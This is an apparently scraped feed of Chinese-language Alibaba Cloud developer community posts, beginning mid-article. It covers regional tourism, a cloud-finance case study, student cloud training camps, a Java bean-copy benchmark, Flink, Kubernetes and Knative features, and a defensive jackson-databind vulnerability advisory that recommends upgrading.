    十三五”期间,州委、州政府高度重视文化和旅游融合发展,主要领导亲自部署,分管领导全力以赴,狠抓落实,在全州上下形成了重视文化和旅游融合、大抓文化和旅游发展的良好氛围。

    通过不断优化文化旅游营造软环境,吸引了一批优秀的民营企业在迪庆的长期旅游投资建设,如巴拉格宗、松赞精品山居、独克宗花巷等一批重量级旅游项目均是由民间企业投资并成功运营。

    近年来,迪庆州把 “世界的香格里拉”品牌宣传和旅游产品营销有机结合,创新方式,积极参加国际国内旅游宣传促销,组织开展昆明、上海、北京、成都等主要客源市场的旅游宣传营销活动,大力宣传推广迪庆冬季旅游产品和线路,冬季节庆活动和非遗产品,开通“世界的香格里拉”文化和旅游官方抖音号。

    迪庆州邀请中央权威媒体以及旅游卫视、旅游报、文化报、经济网、中国日报、新华网、人民网等家媒体到迪庆开展以“旅游扶贫”为主题采风活动。通过线上线下、传统媒体与新媒体相结合,形成综合旅游品牌影响力、旅游产品吸引力、旅游价格竞争力的立体宣传营销体系,扩大了迪庆州在国内外的影响力,促进了客源市场的稳步增长。

    据了解,随着旅游产业的不断发展,旅游产业链不断扩大,截至目前我州旅游从业人员达12.6万人,占全州总人口的30.7%,其中旅游直接从业人员达2.6万人,间接从业人员达10万人,切实解决了就业难问题。二是景区反哺带动旅游扶贫。到2018年,全州景区直接及间接带动村民共涉及5600余户,28000多人,每年总收入7000多万,平均每户年增收12600多元,人均达2520元左右。

    文章来源:阿里飞天CIO学堂微信公众号

    名人堂

    名人堂是阿里CIO学院打造的一档大伽访谈栏目,每周一期。以推动企业创新与数智化升级为愿景,通过采访行业顶尖客户,帮你更好地了解和思考企业数字化转型中可能面临的挑战,梳理行业痛点和方法路径,从而相互滋养,共同成长。

    更多文章

    点击查看青岛华通集团智能研究院明磊:拥抱数字化转型正在成为CIO头等大事 | 阿里CIO学院名人堂>>>

    点击查看ERIC,ZHANG:地产业数字化转型按下“加速键”美好人居正当时 | 阿里CIO学院名人堂>>>

    点击查看李锋:联接数智化生态,打造“数字化越秀” | 阿里CIO学院名人堂>>>

    点击查看龙湘君:基金行业奏响数字化转型五部曲 | 阿里CIO学院名人堂>>>

    点击查看段晓力:从一个小目标的对立 到万个小目标的融合 | 阿里CIO学院名人堂>>>

    点击查看贾坤:扶贫基金事业借数字化转型助力决胜脱贫攻坚战 | 阿里CIO学院名人堂>>>

    ]]>
    中华保险荣获IDC大奖,阿里云、蚂蚁金融科技成“助推器”-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 8月28日,知名调研机构IDC中国举办线上的“2020 IDC中国未来金融论坛暨颁奖典礼”,中华保险“理赔服务资源管理系统”凭借创新的金融业务场景和技术应用,荣获中国金融行业技术应用场景创新奖。本次获奖意味着中华保险的数字化创新能力受到权威机构的认可与肯定。

    0005.jpg

    作为全球知名的IT市场研究机构,IDC一直密切关注着中国金融行业的发展与变革。今年是IDC主办的第六届中国未来金融论坛暨颁奖典礼,基于金融云、普惠金融、智慧网点等金融行业技术应用场景,共有近150个优秀项目参与评选。此次获奖的“理赔服务资源管理系统”借助金融云分布式架构和AI等技术,以数据为驱动,分析渠道和客户,灵活调配资源,集中资源响应优质客户的谈判,进而改善车商渠道业务的经营状况。

    IDC评价,该项目通过重塑送修服务流程与管理模式,在提高理赔客服工作效率的同时,实际的送修成功率有效提升,进而促进车商渠道业务的增长,实现车商业务的精细化管理和高质量发展。同时,迎合线上化理赔发展趋势,解决客户等待时间过长、服务不连贯、体验不佳等问题,推动传统经营模型向数字化智能化转型。

    中华保险始创于1986年7月15日,2002年,经国务院批复同意,冠名“中华”,成为全国唯一一家以“中华”冠名的国有控股保险公司,市场规模位居国内财险市场第五,农险业务规模稳居全国第二。当前,中华保险正在加速数字化转型进程,希望通过建设新一代核心业务系统,推进保险业务朝着线上化、数字化、智能化方向发展。

    据了解,中华保险新一代核心业务系统采用阿里云全套专有云平台、数据中台、业务中台与金融科技产品,并创新性地引入金融云公共平台。整个方案包含“飞天”云计算操作系统蚂蚁金融分布式架构 SOFAStack分布式数据库OceanBase金融数据智能平台金融核心套件bPaaS保险专家服务mPaaS移动开发平台金融钉钉等一系列产品技术与服务,助力中华保险加速“数字中华”建设。

    “我们希望未来能变成一家真正以客户为中心,科技和创新驱动的保险公司”,中华财险相关负责人表示,对保险行业来讲,这次与阿里云合作可能是业内第一次有保险公司完完整整地去重构业务模式、业务理念以及IT配套。

    目前,包括蚂蚁移动开发平台mPaaS、金融级分布式架构SOFAStack、企业级分布式关系数据库OceanBase等在内的产品和解决方案正通过阿里云新金融统一对外输出,服务各种类型的金融机构。未来,还会有越来越多的蚂蚁技术产品通过阿里云新金融对外输出,全力助推金融客户完成金融数字化转型。

    蚂蚁SOFAStack白皮书已于近期发布,点击此处即可获取。

    ]]>
    开源直播系统源码,为什么一定要使用PHP语言开发-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 进行开源直播系统源码的开发工作时,开发者们遇到的最多问题就是使用什么语言开发的,回答大多是PHP语言。对于没有开发经验的人来说,很难理解PHP语言到底代表着什么,又有哪些作用。

    直播2.jpg

    其实,PHP是一种开源脚本语言。语法吸收了C语言、java和Perl的特点,利于学习,使用广泛,主要适用于Web开发领域。
    PHP由内核Zend引擎和扩展层组成,PHP内核负责处理请求、完成文件流错误处理等操作,Zend引擎可以将PHP程序文件转换成刻在虚拟机上运行的机器语言,扩展层提供一些应用层操作需要的函数类库等,比如数组和MySQL数据库的操作等。
    开源直播系统源码Zend引擎是用C语言实现的,将PHP代码通过词法语法解析成可执行的opcode并实现相应的处理方法和基本的数据结构进行内存分配和管理等,对外提供相应的可供调用的API方法。Zend引擎是PHP的核心,所有的外围功能都是围绕它实现的。扩展层通过组件的方式提供各种基础服务、内置函数,标准库都是通过它实现的。用户也可以编写自己开源直播系统源码的扩展来实现特定的需求。服务端应用编程接口,通过一系列钩子函数使得PHP可以和外围交互数据。我们平时开源直播系统源码编写的PHP程序就是通过不同的SAPI方式得到不同的应用模式,如通过web实现的web应用和命令下运行的脚本等。

    直播11.jpg

    作为开源直播系统的开发语言,PHP语言的优势在于:
    1.PHP的开发成本低,入门学习快,语法也相对简单,并且提供丰富的类库
    2.PHP与Linux、Nginx、Apache、MySQL可以方便快捷的搭建出一套系统,支持直接调用系统命令,用代码完成许多操作Linux的工作

    直播12.jpg

    3.PHP支持使用多种数据库,其中与MySQL的结合是最为流行的,PHP提供三种链接MySQL的扩展。PDO扩展是PHP退出的连接MySQL和其他类型的数据库的一种统一解决方案。可移植性很高,使用它可以灵活方便的切换不同类型的数据库,而且不需要变动更多的代码
    4.PHP是解释执行的脚本语言,写完程序后,可以立即执行,所以它的开发效率很高
    声明:以上内容为云豹科技作者本人原创,未经作者本人同意,禁止转载,否则将追究相关法律责任

    ]]>
    想提升专业技能?阿里云9月ECS和AI千人训练营为你助力!!-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 阿里云高校计划首次 ECS千人训练营即将来袭,9月高校计划ECS和AI训练营等你来参加!获取云计算和AI项目经验和提升技术技能!UP! UP!

    1598866732841-5a27afab-d8f9-43f7-9861-d84ee934c82a.png

    阿里云高校计划团队精心设计的ECS课程,从0开始学习云计算,7天3个项目带你快速积累云计算项目经验;AI训练营五天三个云上AI项目,手把手带你入门视觉AI

    ECS高校训练营:入门班和进阶班
    每班只招500人,入门+进阶共招1000人
    AI训练营仅招100人


    ECS训练营参与进阶班的同学完成打卡+任务+作业就发ACA资格!阿里奖品多多!同时,这次的AI训练营仅招100人,高校的同学们一定不要错过这次机会!

    记好这些时间呦
    ECS训练营
    报名参营
    • 报名开始时间:9月17日 10:00(可能提前开始)
    • 报名结束时间:9月20日 24:00
    上课打卡
    • 打卡开始时间:9月23日
    • 打卡结束时间:9月28日


    AI训练营

    报名参营
    报名开始时间:9月17日 10:00
    报名结束时间:9月20日 24:00
    上课打卡
    打卡开始时间:9月24日
    打卡结束时间:9月28日

    敲重点!
    ECS训练营是什么?


    ECS 7天实践训练营由阿里云高校计划发起,旨在帮助对云计算感兴趣的同学更好地开展云上实践、积累项目经验,为云计算人才成长助力。训练营由阿里云大学资深讲师和技术大咖联手策划,陪你动手上云实践。

    ECS训练营有什么?


    ECS训练营有阿里云高校计划精心准备的课程,建网站做项目,能让你快速积累项目经验,完成作业和打卡就可以获得699元阿里云ACA官方认证考试资格。7天,每天30分钟,云计算技能全方位提升,为你的升学就业加分!

    训练营路线怎么选?


    根据你的技术学习水平进行选择。入门班/新手路线适合0基础云计算小白,进阶班适合学过“新手路线” or 有一定云计算基础以及想要考ACA的同学,如果你想为你的简历增加闪光点一定要来报名参加ECS训练营。

    AI训练营是什么?


    视觉AI训练营四位导师带你入门视觉AI,体验AI技术。五天时间完成身份证识别、人脸+表情识别、车辆保险等云上项目,快速入门视觉AI,为求学升职加分。你的AI第一课,阿里云陪你完成!

    阿里云高校计划训练营为什么值得来?
    团队学习,进步更快

    同学们根据自己的技术水平报名了ECS训练营入门班和进阶班和AI训练营报名参营后,将与来自全国高校的同学们一起组团进行7天的ECS训练营和5天的AI训练营学习。同学们会竞选班长和组长,成班成组进行学习,每天要按时交作业——学习笔记,会有严格的学习监督机制,督促你学习成长。

    开营结营直播助力学习


    为了帮助同学们了解训练营和认识同学们,我们会在9.22日召开ECS训练营开营直播和9.23进行AI训练营开营直播,并在9月28日进行结营直播。直播中我们会邀请往期参营和考过ACA的同学为大家分享经验,解答问题。开营直播更有两轮抽奖送出阿里周边。

    精美丰厚奖品等你拿


    开营直播两轮抽奖送阿里周边好礼
    精选笔记送好礼:好的学习笔记可以帮助你学习和成长,我们会挑选好的学习笔记,大家共同-学习成长,被精选笔记的同学会收到阿里周边奖品。

    头条抽奖 3个阿里云棒球帽

    DOWLO_f09f703c3121987d23dd0385f46cb3b0 (2).jpg

    微博抽奖:3个阿里云棒球帽

    DOWLO_f09f703c3121987d23dd0385f46cb3b0 (2).jpg

    预热直播抽奖 7个 阿里云公仔 有奖问答送三本《弹性计算》书籍
    开营直播抽奖 7个 阿里云公仔 有奖问答送三本《弹性计算》书籍

    IMG_8256.JPG

    阿里云公仔

    1598958068042-d2b38e34-bf52-4fb5-8b56-1d4547b38ec0.png


    《弹性计算》



    参营:打卡+完成作业 送ACA考试资格(进阶班)
    优秀笔记获奖者 送阿里云笔记本
    ECS 入门班送12本阿里云笔记本
    ECS 进阶班送12本阿里云笔记本
    AI训练营送6本阿里云笔记本


    IMG_8238.JPG
    IMG_8239.JPG

    阿里精美笔记本

    结营直播:
    优秀营员(群里表现积极活跃+每日打卡+按时完成作业)三营共评选20人 送阿里棒球帽

    DOWLO_f09f703c3121987d23dd0385f46cb3b0 (2).jpg

    优秀组长和班长 评选3人 送阿里云徽章


    lALPGqGobAkQy1_NAXbNAZc_407_374.png


    想看往期同学参营感想,点这里:
    https://mp.weixin.qq.com/s/T399HWt86EgM5UvEAMM_eg

    报名及收取最新开营消息见下图

    步骤.jpg

    附上课程路线
    · ECS 7天训练营(新人路线)
    o 9月23日:阿里云云服务器ECS介绍https://developer.aliyun.com/lesson_46_6557#_6557
    o 9月24日: ECS服务器购买和准备https://developer.aliyun.com/lesson_71_18415#_18415
    o 9月25日: ECS云服务器新手上路https://developer.aliyun.com/adc/scenario/410e5b6a852f4b4b88bf74bf4c197a57
    o 9月26日:安装Putty工具远程连接ECS服务器 https://developer.aliyun.com/lesson_71_18416#_18416
    o 9月27日:安装Linux服务器面板管理工具 https://developer.aliyun.com/lesson_71_18417#_18417
    o 9月28日:快速搭建LAMP环境
    https://developer.aliyun.com/adc/scenario/6869de098ad44fc8a1560a1836a7c5f2
    · ECS 7天训练营(进阶路线)
    o 9月23日:基于ECS搭建FTP服务
    https://developer.aliyun.com/adc/scenario/74b64efe414c47fbaf305957a7fb458b
    o 9月24日:快速搭建Docker环境
    https://developer.aliyun.com/adc/scenario/9fd79b8711984e309f20d82bc65a26fa
    o 9月25日:ECS+SLB 负载均衡实践https://developer.aliyun.com/adc/scenario/d82547cc96d74b43a3027e0dc018cf1c
    o 9月26日:使用ECS和PolarDB搭建门户网站https://developer.aliyun.com/adc/scenario/a7161434e6cd499e9e26f2e62d0242fb
    o 9月27日:搭建个人Leanote云笔记本 https://developer.aliyun.com/adc/scenario/b1ac9deecdb143469de985471b440aa7
    o 9月28日:案例分享——钉钉 https://developer.aliyun.com/lesson_46_1538#_1538

    AI训练营
    · 打卡开始时间:9月24日
    · 打卡结束时间:9月28日

    课程路线
    · 9月24日:达摩院视觉AI技术应用探索https://developer.aliyun.com/live/2761?spm=a2c6h.14795454.J_4770946980.3.3a065794QAk5ML
    · 9月25日:身份证识别系统搭建 https://developer.aliyun.com/live/2762?spm=a2c6h.14795454.J_4770946980.4.3a065794HT7Kl7
    · 9月26日:电子相册搭建(人脸、表情识别)https://developer.aliyun.com/live/2763?spm=a2c6h.14795454.J_4770946980.5.3a065794ramEfR
    · 9月27日:作业日-车辆保险应用
    · 9月28日:创意日-你的图像识别项目

    ]]>
    Apache的代码居然也有"bug"?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 引言

    二狗:二胖快醒醒,赶紧看看刚才报警邮件,你上次写的保存用户接口耗时(《二胖的参数校验坎坷之路》)大大上升,赶紧排查下原因。
    二胖:好的,马上看,内心戏可十足(心里却在抱怨,大中午的搅我发财美梦,刚刚梦见我买的股票又涨停了就被叫醒了)。牢骚归牢骚,自己的问题还是得看啊,毕竟是自己写的bug,含着泪也要把它修复掉。二胖对分析这种问题还是得心应手的,毕竟已经是久经职场的老油条了。

    测试环境复现问题

    二胖首先通过内部的监控工具看了下这段时间的网络是否正常,以及cpu的使用情况、数据库的耗时等,这些指标看起来都是正常的,唯一稍微有点区别的是这段时间流量上涨了一些,肯定又是公司花钱搞营销砸广告了。接着二胖又通过cat(大众点评开源监控工具)分析了几个请求,每个阶段的耗时看下来都ok。卧槽这可咋办列居然难倒二胖了,如果生产环境问题可以在测试环境复现就好了,这样解觉问题就简单多了。生产不是流量上涨了一些吗?那测试环境来压测一把吧,二胖果断的下载了一个jmeter(压测工具)在测试环境进行了一把疯狂的压测,果然出现了和生产一样的问题。能够复现问题就好,这样离解决问题就近了一大步。

    arthas定位问题

    问题是复现了,接下来就是找出接口比较耗时的地方了。一般我们找接口耗时较长的地方,都是通过记录日志打印每一步的耗时。这是比较常见做法,不过二胖记得上次部门技术大拿“二狗”分享过一个神器arthas可以输出方法路径上的每个节点上耗时。苦于一直没有机会拿它来用于实际操作,今天终于可以拿它来好好练手了。安装什么的就不介绍了,这个官网都写的比较详细,并且文档也是中文的,非常容易上手。下面我们就来使用下arthas吧。
    启动成功的界面
    在这里插入图片描述
    下面我们根据arthas提供的trace命令来看看接口的耗时都是在哪里。
    在这里插入图片描述我们从上面可以看出主要耗时是集中在 org.apache.commons.beanutils.BeanUtils#copyProperties这个方法上面的,不就一个实体之间的属性赋值转换吗,需要这么耗时这么久吗?不科学啊,apache提供的方法还能这么low吗?带着这些问题我们看看其他提供的属性拷贝的工具类效率如何。

    使用JMH对常见属性赋值操作性能比较

    • 使用getset方法复制。
    • cglibBeanCopier
    • SpringBeanUtils
    • apacheBeanUtils
    • MapStruct
      下面我们就来对上面这些操作来进行一波性能比较。

    编写下面的测试类。

    /**
     * @author:
     * @Date: 2020/7/11
     * @Description:
     */
    @BenchmarkMode(Mode.AverageTime)
    @Warmup(iterations = 3, time = 1)
    @Measurement(iterations = 5, time = 5)
    @Threads(6)
    @Fork(1)
    @State(value = Scope.Benchmark)
    @OutputTimeUnit(TimeUnit.NANOSECONDS)
    public class BeanCopyTest {
        @Param(value = {"1","10","100"})
        private int count;
    
        public UserBO bo;
    
        public  BeanCopier copier;
    
        @Setup(Level.Trial) // 初始化方法,在全部Benchmark运行之前进行
        public void init() {
            copier = BeanCopier.create(UserBO.class, UserVO.class, false);
            bo = new UserBO();
            bo.setUserName("java金融");
            bo.setAge(1);
            bo.setIdCard("88888888");
            bo.setEmail("java金融@qq.com");
        }
    
    
        public static void main(String[] args) throws RunnerException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
           Options opt = new OptionsBuilder().include(BeanCopyTest.class.getSimpleName()).result("result.json").resultFormat(ResultFormatType.JSON).build();
            new Runner(opt).run();
    
        }
    
        /**
         * 使用mapStruct来操作
         */
        @Benchmark
        public void mapStruct() {
            for (int i = 1; i <= count; i++) {
                UserVO vo = UserMapping.INSTANCE.converter(bo);
            }
        }
    
        /**
         * 手动set和Get
         */
        @Benchmark
        public void setAndGet() {
            for (int i = 1; i <= count; i++) {
                UserVO userVO = new UserVO();
                userVO.setUserName(bo.getUserName());
                userVO.setEmail(bo.getEmail());
                userVO.setSex(bo.getSex());
                userVO.setIdCard(bo.getIdCard());
                userVO.setAge(bo.getAge());
            }
        }
    
        /**
         * 使用cglib的copy方法
         */
        @Benchmark
        public void cglibBeanCopier() {
            for (int i = 1; i <= count; i++) {
                UserVO vo = new UserVO();
                copier.copy(bo, vo, null);
            }
        }
    
        /**
         * 使用spring提供的copyProperties方法
         */
        @Benchmark
        public void springBeanUtils() {
            for (int i = 1; i <= count; i++) {
                UserVO vo = new UserVO();
                BeanUtils.copyProperties(bo, vo);
            }
        }
    
        /**
         * 使用apache的copyProperties方法
         * @throws InvocationTargetException
         * @throws IllegalAccessException
         */
        @Benchmark
        public void apacheBeanUtils() throws InvocationTargetException, IllegalAccessException {
            for (int i = 1; i <= count; i++) {
                UserVO vo = new UserVO();
                org.apache.commons.beanutils.BeanUtils.copyProperties(vo, bo);
            }
        }

    最后的测试结果如下所示:

    Benchmark                     (count)  Mode  Cnt          Score          Error  Units
    BeanCopyTest.apacheBeanUtils        1  avgt    5    2462103.419 ±  2292830.495  ns/op
    BeanCopyTest.apacheBeanUtils       10  avgt    5   21025926.689 ± 11254755.603  ns/op
    BeanCopyTest.apacheBeanUtils      100  avgt    5  193235312.113 ± 37929707.246  ns/op
    BeanCopyTest.cglibBeanCopier        1  avgt    5          4.936 ±        1.187  ns/op
    BeanCopyTest.cglibBeanCopier       10  avgt    5          4.820 ±        1.963  ns/op
    BeanCopyTest.cglibBeanCopier      100  avgt    5          4.269 ±        0.890  ns/op
    BeanCopyTest.mapStruct              1  avgt    5          4.809 ±        1.720  ns/op
    BeanCopyTest.mapStruct             10  avgt    5          4.947 ±        1.320  ns/op
    BeanCopyTest.mapStruct            100  avgt    5          4.440 ±        1.191  ns/op
    BeanCopyTest.setAndGet              1  avgt    5          3.780 ±        1.785  ns/op
    BeanCopyTest.setAndGet             10  avgt    5          3.930 ±        1.788  ns/op
    BeanCopyTest.setAndGet            100  avgt    5          4.069 ±        2.181  ns/op
    BeanCopyTest.springBeanUtils        1  avgt    5       1190.563 ±      165.574  ns/op
    BeanCopyTest.springBeanUtils       10  avgt    5      10887.244 ±     1228.026  ns/op
    BeanCopyTest.springBeanUtils      100  avgt    5     109686.562 ±     7485.261  ns/op

    在这里插入图片描述

    • 从上述结论中我们可以发现性能最好的是排名 用getset方法复制,其次是mapStructcglib的BeanCopier,再接着是Spring的beanUtils,最后的是apache的BeanUtils
    • 如果对上述测试性能感兴趣的话,代码都已上传到github上可自行下载运行对比下结果。代码地址
    • 关于对JMH的使用就不介绍了,感兴趣的可自行谷歌。不过如果要进行性能比较的话,真心推荐使用下,结果可以通过导出json文件然后生成图表。

    为什么apacheBeanUtils性能最差

    apacheBeanUtilsspringbeanUtils都是底层都是使用反射来进行赋值的,为什么apacheBeanUtils的性能要差一大截列。源码之下无秘密,下面我们来看看这个方法的源码。
    在这里插入图片描述
    Apache BeanUtils 打印了大量的日志、以及各种转换、类型的判断等等导致性能变差。

    • springbeanUtil直接使用反射省,干净利索,核心代码见下图。
      在这里插入图片描述
    • 其实在《阿里巴巴开发手册》(可在公众号【java金融】回复“泰山”获取)里面也有说明属性的copy避免使用apcheBeanUtils
      在这里插入图片描述
    • 如果生产环境已经大量使用Apache BeanUtils的话需要替换spring BeanUtils的话需要注意下他们两个虽然提供的方法都是copyProperties但是他们的参数是反的,这点需要注意下,不要直接换个引入的包名完事。

    总结

    • 实际使用中的话一般是不会使用getset方法复制,容易漏掉属性并且也是一个体力活。推荐使用mapStruct,在编译过程中,MapStruct将生成该接口的实现,并且它还可以实现不同名字的映射,比如可以把name映射到username,灵活性比较高。
    • 二胖感觉今天收获满满啊,一下学到了jmeterarthasJMH三个软件的使用。

    结束

    • 由于自己才疏学浅,难免会有纰漏,假如你发现了错误的地方,还望留言给我指出来,我会对其加以修正。
    • 如果你觉得文章还不错,你的转发、分享、赞赏、点赞、留言就是对我最大的鼓励。
    • 感谢您的阅读,十分欢迎并感谢您的关注。
      在这里插入图片描述
    ]]>
    开源 Flink + 实时计算 Flink 版训练营学习资料汇总-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 Apache Flink:全球领先的开源大数据计算引擎

    Apache Flink 是一个开源的分布式大数据处理引擎, 可对有限数据流和无限数据流进行有状态计算。作为 Apache 软件基金会 (ASF) 顶级项目之一,Flink 在流处理方面具有绝对的优势,提供高吞吐、低延时的计算能力, Exactly-once 语义保证数据的准确性,亚秒级别的处理延迟确保业务的快速响应。

    作为快速发展的新一代大数据引擎,Flink 本身的架构优势也吸引着越来越多的开源爱好者投入到社区的建设来。 截止到 2020 年 7 月,社区的 star 数达到 13600+ ,contributor 数达到 718,有 22989 次 commits。伴随着社区的快速发展,Flink 也成为类似阿里巴巴、腾讯、字节跳动、滴滴、美团点评等知名公司建设流处理平台的首选。

    【推荐阅读】

    Flink 社区技术发展风向标

    重磅!Apache Flink 1.11 功能前瞻抢先看!

    更易用!Hive 集成弯道超车

    Hive 终于等来了 Flink

    Flink PMC 联合各大厂用人主管助你升职加薪

    Flink 面试指南

    【企业案例】

    OPPO 实时数仓揭秘:从顶层设计实现离线与实时的平滑迁移
    单日总数据处理量超 10 万亿,峰值超每秒 3 亿
    bilibili 实时平台的架构与实践
    基于 Flink 的 bilibili Saber 实时计算平台
    美团点评基于 Flink 的实时数仓平台实践
    深度解析美团点评实时数仓案例

    【电子书】

    《零基础入门:从 0 到 1 学会 Apache Flink》
    30 天成长为 Flink 大神
    《Apache Flink 年度最佳实践》
    国内外一线大厂超大规模最佳实践案例合集

    阿里云实时计算 Flink 版

    实时计算 Flink版(Alibaba Cloud Realtime Compute for Apache Flink,Powered by Ververica))是阿里云提供的基于 Apache Flink 构建的企业级、高性能实时大数据处理系统,由Apache Flink创始团队官方出品。在 PB 级别的数据集上可以支持亚秒级别的处理延时,赋能用户标准实时数据处理流程和行业解决方案;在支持 Datastream API 作业开发的同时,提供了完整的SQL语义,使得 BI 场景下的开发变得更加简单;丰富的上下游 connector 保证了与用户已使用的大数据组件无缝对接;智能作业调优和诊断功能进一步简化了用户的开发和使用。

    实时计算 Flink版在 Apache Flink 核心功能的基础上还增强了企业用户所关注的集群稳定、性能优化、安全控制、系统监控和作业管理等。阿里云实时计算团队目前是全球最大、拥有 Committer 数量最多、专业性最强的 Flink 团队,为实时计算用户提供企业级的管理和咨询服务。2019 年 6 月,由数据中心联盟发起的大数据产品能力评测结果权威发布,阿里云实时计算 Flink版通过最新制定的分布式流处理平台基础能力评测,成为国内首批通过流计算产品能力评测的产品,并被数据中心联盟圈定为国内大数据流计算基础平台第一梯队。2020 年在国际知名咨询调研公司Forrester 的测评中,实时计算 Flink版成为中国唯一进入Forrester象限的实时流计算产品。

    【独享月度特惠】开通实时计算产品:

    master型号4核16GB+master数量1+slave型号4核16GB+slave数量2,计费周期1个月,详情:

    https://common-buy.aliyun.com/?spm=a2c0j.14094430.1053885.bnt1.307976feKRl1Au&commodityCode=blinkonecs#/buy
    Tips:开通成功算打卡成功

    解决方案

    [实时计算 Flink:基于 Apache Flink 构建的大数据计算平台(附白皮书)
    ](https://developer.aliyun.com/article/770133?groupCode=sc)

    Tips:完成PDF阅读,算打卡成功)

    最佳实践

    实时计算 Flink 版 最佳实践

    Tips:完成文章阅读,算打卡成功

    ]]>
    进击的Kubernetes调度系统(三):支持批任务的Binpack Scheduling Fri, 02 May 2025 09:39:03 +0800 作者:王庆璨 张凯

    进击的Kubernetes调度系统(一):Scheduling Framework
    进击的Kubernetes调度系统(二):支持批任务的Coscheduling/Gang scheduling
    进击的Kubernetes调度系统(三):支持批任务的Binpack Scheduling

    前言

    本系列的前两篇《进击的Kubernetes调度系统 (一):Scheduling Framework》进击的 Kubernetes 调度系统(二):支持批任务的 Coscheduling/Gang scheduling 分别介绍了Kubernetes Scheduling Framework和如何通过扩展Scheduling Framework实现Coscheduling/Gang scheduling调度策略。当我们的批任务作业在集群里边运行起来之后,随后要关注的就是资源的利用率。特别是对于GPU卡的价格昂贵,不希望有资源的浪费。本文将介绍在批任务的调度过程中如何通过Binpack的方式,减少资源碎片,提升GPU的利用率。

    为什么需要Binpack功能?

    Kubernetes默认开启的资源调度策略是LeastRequestedPriority,消耗的资源最少的节点会优先被调度,使得整体集群的资源使用在所有节点之间分配地相对均匀。但是这种调度策略往往也会在单个节点上产生较多资源碎片。

    下面拿一个简单的例子来说明这种问题。如下图所示,资源在节点之间平均使用,所以每个节点使用3个GPU卡,则两个节点各剩余1GPU的资源。这是有申请2GPU的新作业,提交到调度器,则因为无法提供足够的资源,导致调度失败。


    1587092661680-55bf016c-e041-47b8-8bc4-2b49db8f90ff.png
    ]]> 解读Knative 0.17.0版本特性 Fri, 02 May 2025 09:39:03 +0800 前言

    Knative 0.17.0 版本已于近期发布,对于 Knative v0.17.0 版本新特性,我们进行解读,让大家对 Knative 新版本快速了解。
    Knative 0.17.0 支持 k8s 最小支持版本为:1.16。

    Serving

    Autoscaling-自动扩缩容

    • 1)支持Revision初始POD数设置
      在0.17.0之前的版本中,创建新的Revision(即使新Revision流量比例为0)默认会先创建出 1 个POD实例,新的POD创建完成之后,如果没有流量,缩容为 0。 其实大多数场景下,新的Revision创建完成之后不需要立刻创建出POD。从0.17.0开始引入 inital scale 参数,可以指定新的 Revision 为 0。

    inital scale 参数可以通过注释设置:

    autoscaling.internal.knative.dev/initialScale

    核心 API

    组件HA高可用支持

    从0.17.0版本开始,默认开启组件HA,可以通过配置参数‘--disable-ha’ 关闭HA。

    Knative Service 特性支持

    • 1) 对 affinity, nodeSelector, tolerations 和 securitycontext 进行了支持。对于该特性的支持比较意外,因为该特性很早就被提出过,但开始的社区的反馈是 serverless(no server) 场景下不应该关心节点的调度。目前来看结合实际的使用需求场景,最终社区做出了妥协。
    • 2) 新增全局最大扩容Pod配置参数max-value,当没有设置autoscaling.knative.dev/maxScale值时,使用该全局配置作为最大扩容Pod。
    • 3) 优化 Revision 版本回收机制。新增Revision版本最大数maximum限制,同时支持禁用基于时间的Revision回收策略。

    Networking-网络

    KIngress

    • 1)最大超时设置。对于gRPC stream处理超时的问题,默认超时时间调整为了48小时。
    • 2)支持域名重写(RewriteHost)。通过该特性可以实现自定义域名。以Istio实现为例,自定义域名‘vanity.com’通过‘rewrite’实现重定向。
    apiVersion: networking.istio.io/v1alpha3
    kind: VirtualService
    metadata:
      name: vanity-ingress
    spec:
      gateways:
      - knative-serving/knative-ingress-gateway
      hosts:
      - vanity.com
      http:
      - match:
        - authority:
            prefix: vanity.com
          gateways:
          - knative-serving/knative-ingress-gateway
        rewrite:
          authority: helloworld-go.default.example.com
        route:
        - destination:
            host: cluster-local-gateway.istio-system.svc.cluster.local
            port:
              number: 80

    Eventing

    PingSource优化

    0.17.0版本 PingSource 支持时区(time zone)设置

    事件处理优化

    在 In Memory Channel 和 Multi-Tenant Channel 中发送事件失败时,支持重试机制。

    总结

    Knative 0.17.0 版本中引入了版本初始化实例数设置以及对节点调度参数的支持(nodeSelector etc.), 表明Knative社区会更多的关注实际应用场景,相信后续有更多实用特性会提供出来。欢迎有兴趣的同学一起交流。

    欢迎加入 Knative 交流群

    image.png

    ]]>
    【漏洞预警】jackson-databind 反序列化远程代码执行漏洞(CVE-2020-24616等) Fri, 02 May 2025 09:39:03 +0800

    2020年8月27日,阿里云应急响应中心监测到jackson-databind官方发布安全通告披露jackson-databind < 2.9.10.6存在反序列化远程代码执行漏洞(CVE-2020-24616等)。利用漏洞可导致远程执行服务器命令,官方git已发布公告说明,请使用到jackson-databind jar组件的用户尽快升级至安全版本。


    漏洞描述

    jackson-databind是一套开源java高性能JSON处理器,受影响版本的jackson-databind中由于缺少黑名单类,如br.com.anteros:Anteros-DBCP,可导致攻击者实现远程代码执行,其相关CVE号为CVE-2020-24616,漏洞需要相关jar组件才能成功利用,影响面适中。此次版本升级官方还修复了多处利用链,包含org.arrahtec:profiler-core、com.nqadmin.rowset:jdbcrowsetimpl、com.pastdev.httpcomponents:configuration等。阿里云应急响应中心提醒jackson-databind用户尽快采取安全措施阻止漏洞攻击。


    风险评级

    CVE-2020-8840 中危


    影响版本

    jackson-databind < 2.9.10.6


    安全版本

    jackson-databind >= 2.9.10.6


    安全建议

    以下任意一种方法均可实现漏洞修复

    1、针对使用到jackson-databind组件的web服务升级jackson-databind组件至安全版本:https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.10.6/

    https://github.com/FasterXML/jackson-databind/releases

    2、针对无法升级jackson-databind的,排查并将相关jar组件从应用依赖中移除可阻止漏洞攻击(可能会导致应用不可用风险)


    相关链接

    https://github.com/FasterXML/jackson-databind/issues?q=label%3ACVE+is%3Aclosed



    我们会关注后续进展,请随时关注官方公告。

    如有任何问题,可随时通过工单或服务电话95187联系反馈。

    阿里云应急响应中心

    2020.08.27

    ]]>
    【升级】8月20日Neustar注册局维护通知 Fri, 02 May 2025 09:39:03 +0800

    【阿里云】【域名】【Neustar注册局维护通知】

    维护时间:北京时间 2020年8月20日 16:00 - 8月21日 01:00

    维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

